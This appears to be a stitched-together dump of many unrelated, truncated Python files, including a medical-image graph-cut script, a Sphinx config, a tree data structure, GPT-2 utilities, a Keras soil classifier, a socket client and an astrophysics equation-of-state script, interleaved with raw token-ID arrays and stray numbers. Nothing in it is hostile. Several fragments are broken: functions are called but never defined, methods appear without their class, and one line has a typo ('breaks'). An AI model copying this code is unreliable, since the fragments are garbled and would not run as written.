#!c:\users\hooma\documents\github\spinesegmentation\segmentation_test\scripts\python.exe """ Execute a graph cut on a voxel image based on some foreground and background markers. Copyright (C) 2013 Oskar Maier This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ # build-in modules from argparse import RawTextHelpFormatter import argparse import logging import os # third-party modules import scipy # path changes # own modules from medpy.core import ArgumentError, Logger from medpy.io import load, save, header from medpy import graphcut from medpy.graphcut.wrapper import split_marker # information __author__ = "Oskar Maier" __version__ = "r0.3.1, 2012-03-23" __email__ = "oskar.maier@googlemail.com" __status__ = "Release" __description__ = """ Perform a binary graph cut using Boykov's max-flow/min-cut algorithm. This implementation does only compute a boundary term and does not use any regional term. The desired boundary term can be selected via the --boundary argument. Depending on the selected term, an additional image has to be supplied as badditional. In the case of the difference of means, it is the original image. Furthermore the algorithm requires a binary image with foreground markers and a binary image with background markers. Additionally a filename for the created binary mask marking foreground and background has to be supplied. Note that the input images must be of the same dimensionality, otherwise an exception is thrown. Note to take into account the input images orientation. Note that the quality of the resulting segmentations depends also on the quality of the supplied markers. Copyright (C) 2013 Oskar Maier This program comes with ABSOLUTELY NO WARRANTY; This is free software, and you are welcome to redistribute it under certain conditions; see the LICENSE file or <http://www.gnu.org/licenses/> for details. """ # code def getArguments(parser): "Provides additional validation of the arguments collected by argparse." return parser.parse_args() def getParser(): "Creates and returns the argparse parser object." parser = argparse.ArgumentParser(description=__description__, formatter_class=RawTextHelpFormatter) parser.add_argument('sigma', type=float, help='The sigma required for the boundary terms.') parser.add_argument('badditional', help='The additional image required by the boundary term. See there for details.') parser.add_argument('markers', help='Image containing the foreground (=1) and background (=2) markers.') parser.add_argument('output', help='The output image containing the segmentation.') parser.add_argument('--boundary', default='diff_exp', help='The boundary term to use. Note that the ones prefixed with diff_ require the original image, while the ones prefixed with max_ require the gradient image.', choices=['diff_linear', 'diff_exp', 'diff_div', 'diff_pow', 'max_linear', 'max_exp', 'max_div', 'max_pow']) parser.add_argument('-s', dest='spacing', action='store_true', help='Set this flag to take the pixel spacing of the image into account. The spacing data will be extracted from the baddtional image.') parser.add_argument('-f', dest='force', action='store_true', help='Set this flag to silently override files that exist.') parser.add_argument('-v', dest='verbose', action='store_true', help='Display more information.') parser.add_argument('-d', dest='debug', action='store_true', help='Display debug information.') return parser if __name__ == "__main__": main()
[ 2, 0, 66, 7479, 18417, 59, 71, 4207, 64, 59, 15390, 2886, 59, 12567, 59, 2777, 1127, 1533, 14374, 59, 325, 5154, 341, 62, 9288, 59, 46521, 59, 29412, 13, 13499, 198, 198, 37811, 198, 23002, 1133, 257, 4823, 2005, 319, 257, 410, 11...
2.898542
1,577
author = 'Matt Harasymczuk' email = 'matt@astrotech.io' project = 'Astronaut Training Program' description = 'Astronaut Training Program' extensions = [ 'sphinx.ext.todo', 'sphinx.ext.imgmath', ] todo_emit_warnings = False todo_include_todos = True exclude_patterns = [] # ----------------------------------------------------------------------------- # Standard book config # ----------------------------------------------------------------------------- import os import re import subprocess import sys from datetime import datetime needs_sphinx = '2.2' mathjax_path = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/latest.js?config=TeX-MML-AM_CHTML' mathjax_config = { 'extensions': ['tex2jax.js'], 'jax': ['input/TeX', 'output/HTML-CSS'], } html_theme = 'sphinx_rtd_theme' exclude_patterns = exclude_patterns + [ '.*', 'venv*', 'virtualenv*', '_extensions', '_img', '_slides', '_static', '_themes', '_tmp', '*/_template.rst', '*/contrib/*', '*/solution/*', '*/solutions/*', '**.ipynb_checkpoints', 'README.rst', 'TODO.rst', ] numfig_format = { 'section': 'Sect. %s.', 'figure': 'Fig. %s.', 'table': 'Tab. %s.', 'code-block': 'Code Listing %s.', } language = 'en' source_directory = '.' master_doc = 'index' highlight_language = 'python3' pygments_style = 'borland' numfig = True templates_path = ['_templates'] source_suffix = ['.rst'] imgmath_image_format = 'svg' today_fmt = '%Y-%m-%d' project_slug = re.sub(r'[\W]+', '', project) sha1 = subprocess.Popen('git log -1 --format="%h"', stdout=subprocess.PIPE, shell=True).stdout.read().decode().replace('\n', '') now = datetime.now() year = now.year today = now.strftime('%Y-%m-%d') version = f'#{sha1}, {today}' release = f'#{sha1}, {today}' copyright = f'{year}, {author} <{email}>' extensions_dir = os.path.join(os.path.dirname(__file__), '', '_extensions') sys.path.append(extensions_dir) htmlhelp_basename = project html_theme_path = ['_themes'] html_static_path = ['_static'] html_favicon = '_static/favicon.png' html_sidebars = {'sidebar': ['localtoc.html', 'sourcelink.html', 'searchbox.html']} html_show_sphinx = False html_context = { 'css_files': [ '_static/theme-overrides.css', ], } latex_documents = [(master_doc, f'{project_slug}.tex', project, author, 'manual')] latex_elements = { 'papersize': 'a4paper', 'pointsize': '10pt', 'figure_align': 'htbp', # Fix for: LaTeX Backend Fails with Citations In Figure Captions 'preamble': r""" \usepackage{etoolbox} \AtBeginEnvironment{figure}{\renewcommand{\phantomsection}{}} """ } epub_title = project epub_author = author epub_publisher = author epub_copyright = copyright epub_exclude_files = ['search.html'] man_pages = [ (master_doc, project_slug, project, [author], 1) ] texinfo_documents = [ (master_doc, project_slug, project, author, project, '', 'Miscellaneous'), ]
[ 9800, 796, 705, 13448, 2113, 4107, 23209, 89, 2724, 6, 198, 12888, 796, 705, 76, 1078, 31, 459, 2519, 354, 13, 952, 6, 198, 16302, 796, 705, 33751, 1313, 2306, 13614, 6118, 6, 198, 11213, 796, 705, 33751, 1313, 2306, 13614, 6118, 6,...
2.456954
1,208
from django_rdkit import models from django.forms.models import ModelForm from .models import Compound
[ 6738, 42625, 14208, 62, 4372, 15813, 1330, 4981, 198, 198, 6738, 42625, 14208, 13, 23914, 13, 27530, 1330, 9104, 8479, 198, 198, 6738, 764, 27530, 1330, 3082, 633, 628 ]
3.655172
29
from abc import ABC, abstractmethod from typing import Any, Generator, Iterable, List, Union def is_root(self, position: _Position) -> bool: """Check if the passed position contains the root node. Time complexity: O(1). :returns: True if the passed position holds the root node, else False """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") node = position.manipulate_node(self, "_validate_node") return node.parent is None def is_leaf(self, position: _Position) -> bool: """Check if the passed position contains a leaf. Time complexity: O(1). :returns: True if the passed position holds a leaf node, else False """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") return len(self.get_children(position)) == 0 def get_root(self) -> Union[_Position, None]: """Return the root position. Time complexity: O(1). :returns: the root position """ if self.is_empty(): return None else: return Tree._Position(self, self._root) def get_parent(self, position: _Position) -> Union[_Position, None]: """Return the parent of the given position. Time complexity: O(1). :param position: position containing the node whose parent is being sought :returns: the position of parent of the node contained in the passed position. None if the position passed contains the root node. """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") node = position.manipulate_node(self, "_validate_node") if self.is_root(Tree._Position(self, node)): return None else: return Tree._Position(self, node.parent) def get_children(self, position: _Position) -> Union[List[_Position], None]: """Return the children of the given position. Time complexity: O(1). :param position: position containing the node whose children are being sought :returns: the positions of the children of the node contained in the passed position. None if the position has no children. """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") node = position.manipulate_node(self, "_validate_node") children = node.children if children is None: return None else: return [Tree._Position(self, i) for i in children if i is not None] def get_siblings(self, position: _Position) -> Union[List[_Position], None]: """Return the siblings of the given position. Time complexity: O(1). :param position: position containing the node whose children are being sought :returns: the positions of the siblings of the node contained in the passed position """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") node = position.manipulate_node(self, "_validate_node") parent = node.parent if parent is None: return [] return [Tree._Position(self, i) for i in parent.children if i is not node] def get_height_of_node(self, position: _Position) -> int: """Return the number of edges between a node and the farthest leaf among its descendants. Time complexity: O(n). :param position: position containing the node whose height is being sought :returns: the number of edges between a node and the farthest leaf among its descendants """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") if self.is_leaf(position): return 0 return 1 + max(self.get_height_of_node(p) for p in self.get_children(position)) def get_height_of_tree(self) -> int: """Return the number of edges between the root node and the farthest leaf. Time complexity: O(n). :returns: the number of edges between the root node and the farthest leaf """ if self.is_empty(): raise Empty("Tree is empty") return self.get_height_of_node(Tree._Position(self, self._root)) def get_depth_of_node(self, position: _Position) -> int: """Return the number of edges between a node and the root. Time complexity: O(n). :param position: position containing the node whose depth is being sought :returns: the number of edges between a node and the root """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") if self.is_root(position): return 0 return 1 + self.get_depth_of_node(self.get_parent(position)) def get_depth_of_tree(self) -> int: """Return the number of edges between the farthest leaf and the root. Time complexity: O(n). :returns: the number of edges between the farthest leaf and the root """ return self.get_height_of_tree() def get_level_of_node(self, position: _Position) -> int: """Return the number of nodes between a node and the root, inclusive of itself. Time complexity: O(n). :param position: position containing the node whose level is being sought :returns: the number of nodes between a node and the root, inclusive of itself """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") return 1 + self.get_depth_of_node(position) def traverse_subtree_pre_order(self, position: _Position) -> Generator: """Pre-order traverse subtree whose root is the passed position and return a generator of the positions it contains :param position: position containing the node that's the root of the subtree to be traversed :returns: a generator of the positions """ if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") yield position for i in self.get_children(position): for j in self.traverse_subtree_pre_order(i): yield j def delete(self, position: _Position) -> None: """Delete a value from the tree :param position: position containing the node to be removed from the tree """ self._length -= 1 if not position.is_owned_by(self): raise ValueError("Position doesn't belong to this tree") node = position.manipulate_node(self, "_validate_node") is_root_node = self.is_root(position) _ = position.manipulate_variables(self, "_invalidate_position") delete_node(node, is_root_node)
[ 6738, 450, 66, 1330, 9738, 11, 12531, 24396, 198, 6738, 19720, 1330, 4377, 11, 35986, 11, 40806, 540, 11, 7343, 11, 4479, 628, 628, 220, 220, 220, 825, 318, 62, 15763, 7, 944, 11, 2292, 25, 4808, 26545, 8, 4613, 20512, 25, 198, 22...
2.717314
2,547
from abc import ABC, abstractmethod import os import logging from nodes.helper import FileOutputNode from utils import file_utils from utils import signal_processing as sp from utils.shell_run import shell_run from config import OPENSMILE_HOME
[ 198, 6738, 450, 66, 1330, 9738, 11, 12531, 24396, 198, 11748, 28686, 198, 11748, 18931, 198, 198, 6738, 13760, 13, 2978, 525, 1330, 9220, 26410, 19667, 198, 6738, 3384, 4487, 1330, 2393, 62, 26791, 198, 6738, 3384, 4487, 1330, 6737, 62,...
3.614286
70
# Copyright 2019 The Texar Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Utils of GPT2 Modules. """ import json import os import warnings from abc import ABC from typing import Any, Dict import torch from texar.torch.modules.pretrained.pretrained_base import PretrainedMixin __all__ = [ "PretrainedGPT2Mixin", ] _GPT2_PATH = "https://storage.googleapis.com/gpt-2/models/" _CHECKPOINT_FILES = [ "checkpoint", "encoder.json", "hparams.json", "vocab.bpe", "model.ckpt.data-00000-of-00001", "model.ckpt.index", "model.ckpt.meta"]
[ 2, 15069, 13130, 383, 3567, 283, 46665, 13, 1439, 6923, 33876, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, ...
3.145773
343
from __future__ import absolute_import, division, print_function, unicode_literals import tensorflow as tf from keras import regularizers from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Conv2D, Flatten, Dropout, MaxPooling2D from tensorflow.keras.preprocessing.image import ImageDataGenerator from keras.models import load_model import numpy as np from keras.preprocessing.image import img_to_array, load_img from keras.preprocessing import image import os import numpy as np import matplotlib.pyplot as plt # defining classes # Adding dataset paths PATH = 'new_datasets' train_dir = os.path.join(PATH, 'train') validation_dir = os.path.join(PATH, 'validation') test_dir = os.path.join(PATH, 'test') train_red_dir = os.path.join(train_dir, 'Red_soil') validation_red_dir = os.path.join(validation_dir, 'Red_soil') train_black_dir = os.path.join(train_dir, 'Black_soil') validation_black_dir = os.path.join(validation_dir, 'Black_soil') train_all_dir = os.path.join(train_dir, 'Alluvial_soil') validation_all_dir = os.path.join(validation_dir, 'Alluvial_soil') num_soil_tr = len(os.listdir(train_red_dir)) + len(os.listdir(train_black_dir)) +len(os.listdir(train_all_dir)) num_soil_val = len(os.listdir(validation_red_dir)) + len(os.listdir(validation_black_dir)) + len((os.listdir(validation_all_dir))) print("Total training images = ",num_soil_tr) print("Total validation images = ",num_soil_val) # hyperparameters batch_size = 100 epochs = 15 IMG_HEIGHT = 128 IMG_WIDTH = 128 classes_num=3 # data generators train_image_generator = ImageDataGenerator(rescale=1./255) validation_image_generator = ImageDataGenerator(rescale=1./255) train_data_gen = train_image_generator.flow_from_directory(batch_size=batch_size, directory=train_dir, shuffle=True, target_size=(IMG_HEIGHT, IMG_WIDTH), class_mode='categorical') val_data_gen = validation_image_generator.flow_from_directory(batch_size=batch_size, directory=validation_dir, target_size=(IMG_HEIGHT, IMG_WIDTH), shuffle=True, class_mode='categorical') # defining the model model = Sequential([ Conv2D(16, 5, activation='relu', input_shape=(IMG_HEIGHT, IMG_WIDTH ,3)), MaxPooling2D(pool_size=(3, 3)), Dropout(0.2), Conv2D(32, 5, activation='relu'), MaxPooling2D(pool_size=(3, 3)), Dropout(0.2), Conv2D(64, 5, activation='relu'), MaxPooling2D(pool_size=(3, 3)), Dropout(0.3), Flatten(), Dense(32, activation='relu'), Dense(classes_num, activation='softmax') ]) model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy']) model.summary() history = model.fit_generator( train_data_gen, steps_per_epoch= num_soil_tr// batch_size, epochs=epochs, validation_data=val_data_gen, validation_steps=num_soil_val // batch_size ) acc = history.history['accuracy'] val_acc = history.history['val_accuracy'] loss = history.history['loss'] val_loss = history.history['val_loss'] epochs_range = range(epochs) # training and validation graphs plt.figure(figsize=(8, 8)) plt.subplot(1, 2, 1) plt.plot(epochs_range, acc, label='Training Accuracy') plt.plot(epochs_range, val_acc, label='Validation Accuracy') plt.legend(loc='lower right') plt.title('Training and Validation Accuracy') plt.subplot(1, 2, 2) plt.plot(epochs_range, loss, label='Training Loss') plt.plot(epochs_range, val_loss, label='Validation Loss') plt.legend(loc='upper right') plt.title('Training and Validation Loss') plt.show() model.save('new_soil_classify.h5') # for testing trained model with images differnent class image_path="red.jpg" img = image.load_img(image_path, target_size=(IMG_HEIGHT, IMG_WIDTH)) plt.imshow(img) img = np.expand_dims(img, axis=0) result=model.predict_classes(img) plt.title(result[0]) plt.show() image_path1="black.jpg" img1 = image.load_img(image_path1, target_size=(IMG_HEIGHT, IMG_WIDTH)) plt.imshow(img1) img1 = np.expand_dims(img1, axis=0) result=model.predict_classes(img1) plt.title(result[0]) plt.show() image_path="all.jpg" img = image.load_img(image_path, target_size=(IMG_HEIGHT, IMG_WIDTH)) plt.imshow(img) img = np.expand_dims(img, axis=0) result=model.predict_classes(img) plt.title(result[0]) plt.show()
[ 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 11, 7297, 11, 3601, 62, 8818, 11, 28000, 1098, 62, 17201, 874, 198, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 6738, 41927, 292, 1330, 3218, 11341, 198, 6738, 11192, 273, 11125, 13, ...
2.208314
2,141
import io import os from datetime import datetime from jinja2 import Template from loguru import logger from httprunner.exceptions import SummaryEmpty def gen_html_report(summary, report_template=None, report_dir=None, report_file=None): """ render html report with specified report name and template Args: summary (dict): test result summary data report_template (str): specify html report template path, template should be in Jinja2 format. report_dir (str): specify html report save directory report_file (str): specify html report file path, this has higher priority than specifying report dir. """ if not summary["time"] or summary["stat"]["testcases"]["total"] == 0: logger.error(f"test result summary is empty ! {summary}") raise SummaryEmpty if not report_template: report_template = os.path.join( os.path.abspath(os.path.dirname(__file__)), "template.html" ) logger.debug("No html report template specified, use default.") else: logger.info(f"render with html report template: {report_template}") logger.info("Start to render Html report ...") start_at_timestamp = summary["time"]["start_at"] utc_time_iso_8601_str = datetime.utcfromtimestamp(start_at_timestamp).isoformat() summary["time"]["start_datetime"] = utc_time_iso_8601_str if report_file: report_dir = os.path.dirname(report_file) report_file_name = os.path.basename(report_file) else: report_dir = report_dir or os.path.join(os.getcwd(), "reports") # fix #826: Windows does not support file name include ":" report_file_name = "{}.html".format(utc_time_iso_8601_str.replace(":", "").replace("-", "")) if not os.path.isdir(report_dir): os.makedirs(report_dir) report_path = os.path.join(report_dir, report_file_name) with io.open(report_template, "r", encoding='utf-8') as fp_r: template_content = fp_r.read() with io.open(report_path, 'w', encoding='utf-8') as fp_w: rendered_content = Template( template_content, extensions=["jinja2.ext.loopcontrols"] ).render(summary) fp_w.write(rendered_content) logger.info(f"Generated Html report: {report_path}") return report_path
[ 11748, 33245, 198, 11748, 28686, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 198, 6738, 474, 259, 6592, 17, 1330, 37350, 198, 6738, 2604, 14717, 1330, 49706, 198, 198, 6738, 1841, 1050, 403, 1008, 13, 1069, 11755, 1330, 21293, 40613, ...
2.555195
924
#client.py #!/usr/bin/python # This is client.py file import socket # Import socket module s = socket.socket() # Create a socket object host = socket.gethostname() # Get local machine name port = 12352 # Reserve a port for your service. s.connect((host, port)) while True: message = input('Digite mensagem: ') s.send(bytes(message, encoding='utf8')) if message == 'SAIR': breaks print('Mensagem enviada.') print('Esperando resposta.') answer = s.recv(1024).decode('utf8') print('Resposta recebida: ' + answer) print('Desconectando.') s.close()
[ 2, 16366, 13, 9078, 198, 198, 2, 48443, 14629, 14, 8800, 14, 29412, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 770,...
2.027778
360
from CTFd import create_app from CTFd.models import * from sqlalchemy_utils import database_exists, create_database, drop_database from sqlalchemy.engine.url import make_url import datetime import six if six.PY2: text_type = unicode binary_type = str else: text_type = str binary_type = bytes
[ 6738, 327, 10234, 67, 1330, 2251, 62, 1324, 198, 6738, 327, 10234, 67, 13, 27530, 1330, 1635, 198, 6738, 44161, 282, 26599, 62, 26791, 1330, 6831, 62, 1069, 1023, 11, 2251, 62, 48806, 11, 4268, 62, 48806, 198, 6738, 44161, 282, 26599,...
2.834783
115
"""Consts for Kaiterra integration.""" from datetime import timedelta from homeassistant.const import ( CONCENTRATION_MICROGRAMS_PER_CUBIC_METER, CONCENTRATION_MILLIGRAMS_PER_CUBIC_METER, CONCENTRATION_PARTS_PER_BILLION, CONCENTRATION_PARTS_PER_MILLION, PERCENTAGE, Platform, ) DOMAIN = "kaiterra" DISPATCHER_KAITERRA = "kaiterra_update" AQI_SCALE = { "cn": [0, 50, 100, 150, 200, 300, 400, 500], "in": [0, 50, 100, 200, 300, 400, 500], "us": [0, 50, 100, 150, 200, 300, 500], } AQI_LEVEL = { "cn": [ "Good", "Satisfactory", "Moderate", "Unhealthy for sensitive groups", "Unhealthy", "Very unhealthy", "Hazardous", ], "in": [ "Good", "Satisfactory", "Moderately polluted", "Poor", "Very poor", "Severe", ], "us": [ "Good", "Moderate", "Unhealthy for sensitive groups", "Unhealthy", "Very unhealthy", "Hazardous", ], } ATTR_VOC = "volatile_organic_compounds" ATTR_AQI_LEVEL = "air_quality_index_level" ATTR_AQI_POLLUTANT = "air_quality_index_pollutant" AVAILABLE_AQI_STANDARDS = ["us", "cn", "in"] AVAILABLE_UNITS = [ "x", PERCENTAGE, "C", "F", CONCENTRATION_MILLIGRAMS_PER_CUBIC_METER, CONCENTRATION_MICROGRAMS_PER_CUBIC_METER, CONCENTRATION_PARTS_PER_MILLION, CONCENTRATION_PARTS_PER_BILLION, ] AVAILABLE_DEVICE_TYPES = ["laseregg", "sensedge"] CONF_AQI_STANDARD = "aqi_standard" CONF_PREFERRED_UNITS = "preferred_units" DEFAULT_AQI_STANDARD = "us" DEFAULT_PREFERRED_UNIT: list[str] = [] DEFAULT_SCAN_INTERVAL = timedelta(seconds=30) PLATFORMS = [Platform.SENSOR, Platform.AIR_QUALITY]
[ 37811, 3103, 6448, 329, 11611, 2676, 430, 11812, 526, 15931, 198, 198, 6738, 4818, 8079, 1330, 28805, 12514, 198, 198, 6738, 1363, 562, 10167, 13, 9979, 1330, 357, 198, 220, 220, 220, 39962, 3525, 49, 6234, 62, 49884, 49, 7730, 24115, ...
2.017381
863
from django.shortcuts import render, redirect from django.http import HttpResponseRedirect from .models import SupportProject # Create your views here.
[ 6738, 42625, 14208, 13, 19509, 23779, 1330, 8543, 11, 18941, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 7738, 1060, 198, 198, 6738, 764, 27530, 1330, 7929, 16775, 198, 198, 2, 13610, 534, 5009, 994, 13, 198 ]
3.948718
39
# Bep Marketplace ELE # Copyright (c) 2016-2021 Kolibri Solutions # License: See LICENSE file or https://github.com/KolibriSolutions/BepMarketplace/blob/master/LICENSE # from datetime import datetime from django.core.exceptions import ValidationError from django.db import models
[ 2, 220, 347, 538, 36703, 40342, 198, 2, 220, 15069, 357, 66, 8, 1584, 12, 1238, 2481, 25910, 571, 380, 23555, 198, 2, 220, 13789, 25, 4091, 38559, 24290, 2393, 393, 3740, 1378, 12567, 13, 785, 14, 42, 349, 571, 380, 50, 14191, 14,...
3.177778
90
from datetime import datetime from werkzeug.security import generate_password_hash from flask import Blueprint, jsonify, request from sqlalchemy.orm import joinedload from flask_login import login_required from app.models import db, User, Type from app.forms import UpdateUserForm from .auth_routes import authenticate, validation_errors_to_error_messages user_routes = Blueprint('users', __name__)
[ 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 266, 9587, 2736, 1018, 13, 12961, 1330, 7716, 62, 28712, 62, 17831, 198, 6738, 42903, 1330, 39932, 11, 33918, 1958, 11, 2581, 198, 6738, 44161, 282, 26599, 13, 579, 1330, 5399, 2220, 198, ...
3.681818
110
"""Machine Learning""" import importlib import numpy as np import pandas as pd import json from jsonschema import validate from sklearn.pipeline import make_pipeline from timeflux.core.node import Node from timeflux.core.exceptions import ValidationError, WorkerInterrupt from timeflux.helpers.background import Task from timeflux.helpers.port import make_event, match_events, get_meta from timeflux.helpers.clock import now, min_time, max_time # Statuses IDLE = 0 ACCUMULATING = 1 FITTING = 2 READY = 3
[ 37811, 37573, 18252, 37811, 198, 198, 11748, 1330, 8019, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 33918, 198, 6738, 44804, 684, 2395, 2611, 1330, 26571, 198, 6738, 1341, 35720, 13, 79, 541, 4...
3.188679
159
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-01-22 15:45 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 2980, 515, 416, 37770, 352, 13, 940, 13, 20, 319, 2177, 12, 486, 12, 1828, 1315, 25, 2231, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 1...
2.73913
69
#!/usr/bin/env python3 from aws_cdk import aws_iam as _iam from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_dynamodb as _ddb from aws_cdk import core stack_prefix='restAPI-lab1-lambdaDynamoDB' app = core.App() stack = CdkStack(app, stack_prefix, stack_prefix=stack_prefix) core.Tags.of(stack).add('Name',stack_prefix) app.synth()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 6738, 3253, 82, 62, 10210, 74, 1330, 3253, 82, 62, 1789, 355, 4808, 1789, 198, 6738, 3253, 82, 62, 10210, 74, 1330, 3253, 82, 62, 50033, 355, 4808, 50033, 198, 6738, 3253, ...
2.52518
139
students = [] read_file() print(students)
[ 19149, 658, 796, 17635, 628, 628, 198, 961, 62, 7753, 3419, 198, 4798, 7, 19149, 658, 8 ]
2.647059
17
"""Module for finding an effective equation of state for in the Lyman-alpha forest from a snapshot. Ported to python from Matteo Viel's IDL script.""" import h5py import math import numpy as np def read_gamma(num,base): """Reads in an HDF5 snapshot from the NE gadget version, fits a power law to the equation of state for low density, low temperature gas. Inputs: num - snapshot number base - Snapshot directory Outputs: (T_0, \gamma) - Effective equation of state parameters """ # Baryon density parameter omegab0 = 0.0449 singlefile=False #base="/home/spb41/data2/runs/bf2/" snap=str(num).rjust(3,'0') fname=base+"/snapdir_"+snap+"/snap_"+snap try: f=h5py.File(fname+".0.hdf5",'r') except IOError: fname=base+"/snap_"+snap f=h5py.File(fname+".hdf5",'r') singlefile=True print 'Reading file from:',fname head=f["Header"].attrs npart=head["NumPart_ThisFile"] redshift=head["Redshift"] print "z=",redshift atime=head["Time"] h100=head["HubbleParam"] if npart[0] == 0 : print "No gas particles!\n" return f.close() # Scaling factors and constants Xh = 0.76 # Hydrogen fraction G = 6.672e-11 # N m^2 kg^-2 kB = 1.3806e-23 # J K^-1 Mpc = 3.0856e22 # m kpc = 3.0856e19 # m Msun = 1.989e30 # kg mH = 1.672e-27 # kg H0 = 1.e5/Mpc # 100 km s^-1 Mpc^-1 in SI units gamma = 5.0/3.0 rscale = (kpc * atime)/h100 # convert length to m #vscale = atime**0.5 # convert velocity to km s^-1 mscale = (1e10 * Msun)/h100 # convert mass to kg dscale = mscale / (rscale**3.0) # convert density to kg m^-3 escale = 1e6 # convert energy/unit mass to J kg^-1 N = 0 sx = 0 sy = 0 sxx = 0 sxy = 0 met = 0 carb = 0 oxy = 0 totmass=0 totigmmass=0 totmet = 0 sxxm = 0 sxym = 0 sxm = 0 sym = 0 for i in np.arange(0,500) : ffname=fname+"."+str(i)+".hdf5" if singlefile: ffname=fname+".hdf5" if i > 0: break #print 'Reading file ',ffname try: f=h5py.File(ffname,'r') except IOError: break head=f["Header"].attrs npart=head["NumPart_ThisFile"] if npart[0] == 0 : print "No gas particles in file ",i,"!\n" break bar = f["PartType0"] u=np.array(bar['InternalEnergy'],dtype=np.float64) rho=np.array(bar['Density'],dtype=np.float64) nelec=np.array(bar['ElectronAbundance'],dtype=np.float64) metalic = np.array(bar['GFM_Metallicity'],dtype=np.float64) metals = np.array(bar['GFM_Metals'],dtype=np.float64) mass = np.array(bar['Masses'], dtype=np.float64) #nH0=np.array(bar['NeutralHydrogenAbundance']) f.close() # Convert to physical SI units. Only energy and density considered here. rho *= dscale # kg m^-3, ,physical u *= escale # J kg^-1 ## Mean molecular weight mu = 1.0 / ((Xh * (0.75 + nelec)) + 0.25) #temp = mu/kB * (gamma-1) * u * mH #templog = alog10(temp) templog=np.log10(mu/kB * (gamma-1) * u * mH) ##### Critical matter/energy density at z=0.0 rhoc = 3 * (H0*h100)**2 / (8. * math.pi * G) # kg m^-3 ##### Mean hydrogen density of the Universe nHc = rhoc /mH * omegab0 *Xh * (1.+redshift)**3.0 ##### Physical hydrogen number density #nH = rho * Xh / mH ### Hydrogen density as a fraction of the mean hydrogen density overden = np.log10(rho*Xh/mH / nHc) ### Calculates average/median temperature in a given overdensity range# #overden = rho/(rhoc *omegab) #ind = where(overden ge -0.01 and overden le 0.01) #avgT0 = mean(temp(ind)) #medT0 = median(temp(ind)) #loT0 = min(temp(ind)) #hiT0 = max(temp(ind)) # #avgnH1 = mean(nH0(ind)) #mednH1 = median(nH0(ind)) #lonH1 = min(nH0(ind)) #hinH1 = max(nH0(ind)) # #print,'' #print,'Temperature (K) at mean cosmic density' #print,'Average temperature [K,log]:',avgT0,alog10(avgT0) #print,'Median temperature [K,log]:',medT0,alog10(medT0) #print,'Maximum temperature [K,log]:',hiT0,alog10(hiT0) #print,'Minimum temperature [K,log]:',loT0,alog10(loT0) # #print #print,'nH1/nH at mean cosmic density' #print,'Mean log H1 abundance [nH1/nH,log]:',avgnH1,alog10(avgnH1) #print,'Median log H1 abundance [nH1/nH,log]:',mednH1,alog10(mednH1) #print,'Maximum log H1 abundance [nH1/nH,log]:',hinH1,alog10(hinH1) #print,'Minimum log H1 abundance [nH1/nH,log]:',lonH1,alog10(lonH1) #print # ind2 = np.where((overden > 0) * (overden < 1.5) ) tempfit = templog[ind2] overdenfit = overden[ind2] N += np.size(ind2) #print, "Number of fitting points for equation of state", N indm = np.where(metals < 1e-10) metals[indm] = 1e-10 sx += np.sum(overdenfit) sy += np.sum(tempfit) sxx += np.sum(overdenfit*overdenfit) sxy += np.sum(overdenfit*tempfit) met += np.sum(mass[ind2]*metalic[ind2]) carb += np.sum(mass[ind2]*metals[ind2,2]) oxy += np.sum(mass[ind2]*metals[ind2,4]) totmet += np.sum(mass*metalic) totmass += np.sum(mass) totigmmass += np.sum(mass[ind2]) sym += np.sum(np.log10(metals[ind2,2])) sxym += np.sum(overdenfit*np.log10(metals[ind2,2])) # log T = log(T_0) + (gamma-1) log(rho/rho_0) # and use least squares fit. delta = (N*sxx)-(sx*sx) a = ((sxx*sy) - (sx*sxy))/delta b = ((N*sxy) - (sx*sy))/delta amet = ((sxx*sym) - (sx*sxym))/delta bmet = ((N*sxym) - (sx*sym))/delta print num,": gamma", b+1.0," log(T0)", a," T0 (K)", (10.0)**a, "Metallicity: ", met/totigmmass,totmet/totmass, "[C/H,O/H]: ",carb/totigmmass, 